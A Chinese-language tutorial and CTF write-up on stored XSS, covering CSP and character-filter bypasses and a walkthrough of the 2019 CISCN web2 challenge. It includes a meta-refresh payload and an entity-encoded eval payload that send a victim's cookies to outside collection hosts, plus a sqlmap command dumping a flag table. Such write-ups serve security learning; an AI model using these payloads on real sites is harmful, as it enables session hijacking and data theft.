一、前记
在上一篇文章里面我详细的描述了一下存储型XSS的概念以及在简单过滤条件下的运用,今天这篇文章就对存储型XSS进行更深一步学习。
二、对有过滤机制和保护机制的绕过方法
在这里我们先看看对XSS有哪些有效的防护机制(举例使用的是2019年CISCN 华东北赛区的web2)
1、CSP策略
内容安全策略(CSP)是一种web应用技术用于帮助缓解大部分类型的内容注入攻击,包括XSS攻击和数据注入等,这些攻击可实现数据窃取、网站破坏和作为恶意软件分发版本等行为。该策略可让网站管理员指定客户端允许加载的各类可信任资源。
当代网站太容易收到XSS的攻击,CSP就是一个统一有效的防止网站收到XSS攻击的防御方法。CSP是一种白名单策略,当有从非白名单允许的JS脚本出现在页面中,浏览器会阻止脚本的执行。
例如:我在发表文章那一栏写入了<script>alert("aaaaa")</script>这一串代码。但是并没有弹窗出现,右键查看源代码之后发现了一些策略。

default-src指定了"self"作为一个有效脚本的来源(同源策略)
unsafe-inline:允许使用内联 JavaScript 和 CSS。
unsafe-eval:允许使用类似 eval
的 text-to-JavaScript 机制
所以在这里unsafe-line和unsafe-eval是突破口。
2、XSS的过滤机制
一般有很多种过滤机制,一种是检测到哪种符号的话就删除这种符号,另外一种就是符号替换。在本例当中,我们的英文符号"(全部被替换成了”(。
三、绕过CSP防护机制的办法(后续会有一篇文章详细描述)
1、location.href(使用于绕过script-src "unsafe-inline")
CSP不影响location.href跳转,因为当今大部分网站的跳转功能都是由前端实现的,CSP如果限制跳转会影响很多的网站功能。所以,用跳转来绕过CSP获取数据是一个万能的办法,虽然比较容易被发现,但是在大部分情况下对于我们已经够用。当我们已经能够执行JS脚本的时候,但是由于CSP的设置,我们的cookie无法带外传输,就可以采用此方法,将cookie打到我们的vps上。(也就是说需要一个接收平台)
2、meta标签
meta标签有一些不一样的效果,可以绕过CSP:default-src 'none';使用meta标签实现跳转:
<meta http-equiv="refresh" content="1;url=https://www.mi1k7ea.com/x.php?c=[cookie]" >
x.php的内容如下:
<?php
$nonce = md5(openssl_random_pseudo_bytes(16));
header("Content-Security-Policy: default-src 'none'; ");
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
</head>
<body>
<h2>CSP Test</h2>
<form action="test.php" method="post">
<input type="text" name="content">
<button type="submit">Go</button>
</form>
<?php
if (isset($_POST['content'])) {
echo "Your POST content: <p>".@$_POST['content']."</p>";
}
?>
</body>
</html>
当我们输入如下内容可以成功跳转至目标页面,当然也可以将cookie带出来:
<meta http-equiv="refresh" content="1;url=http://192.168.43.201:8000/x.php?c=mi1k7ea" >
3、<svg>标签
<svg>标签的作用是作为一个矢量图(也就是能放大缩小图片的作用),能够执行JavaScript脚本。也就是说如果没有过滤<svg>标签的话,我们就可以使用<svg>标签去执行JavaScript代码。
三、2019年CISCN华东北赛区web2(考察了xss store和sql注入)
1、第一步:打开页面发现是一个文章精选页面(有点像先知的页面)。点击进去页面发现都是正儿八经的文章(没啥看头)。点进投稿,发现是一个文章投稿类的(可能存在store型XSS)。还有一个反馈页面,是反馈给管理员查看的(多半是要得到管理员的cookie)
2、第二步:遍历网站。使用dirsearch遍历网站路径,有一个比较有意思的路径/admin.php,都访问一下


通过看到admin.php里面的内容基本可以确定一个初步的解题思路:伪装成管理员登录就能得到下一步的提示(或者是flag)
第三步:在投稿框里面尝试哪些标签会被过滤哪些可以使用具体过程省略了,因为比较漫长,总之就是没出现啥内容就有可能啥标签被过滤了,像<img src=""/> src被waf过滤掉了,等于也被过滤成了中文。

第四步:根据CSP策略和过滤结果进行绕过。首先是CSP策略的绕过:在这里有两个策略前面有分析用window.location.href和使用eval("")进行引用。变成中文符的解决方法:在这里我使用了HTML Markup编码具体的说明是在这里:https://www.w3.org/MarkUp/html-spec/html-spec_13.html
我们可以使用脚本来变我们的payload(借用了赵师傅的脚本):
in_str = "(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();"
output = ""
for c in in_str:
output += "&#" + str(ord(c))
print("<svg><script>eval("" + output + "")</script>")
将出现的结果弄到投稿去,走你~(被赵师傅传染)然后让管理员浏览我们的这个投稿(也就是说要去反馈那里)

第五步:在xss平台上面查看接收的管理员信息。

能看出来我们得到了管理员的cookie,使用editThiscookie去将我们的cookie换成管理员cookie,再去访问admin.php。


第六步:提交id后,sql注入(sqlmap一把梭)。格式:
sqlmap -u "" --cookie "PHPSESSID=" -T flag --dump --flush-session --fresh-queries

四、参考链接

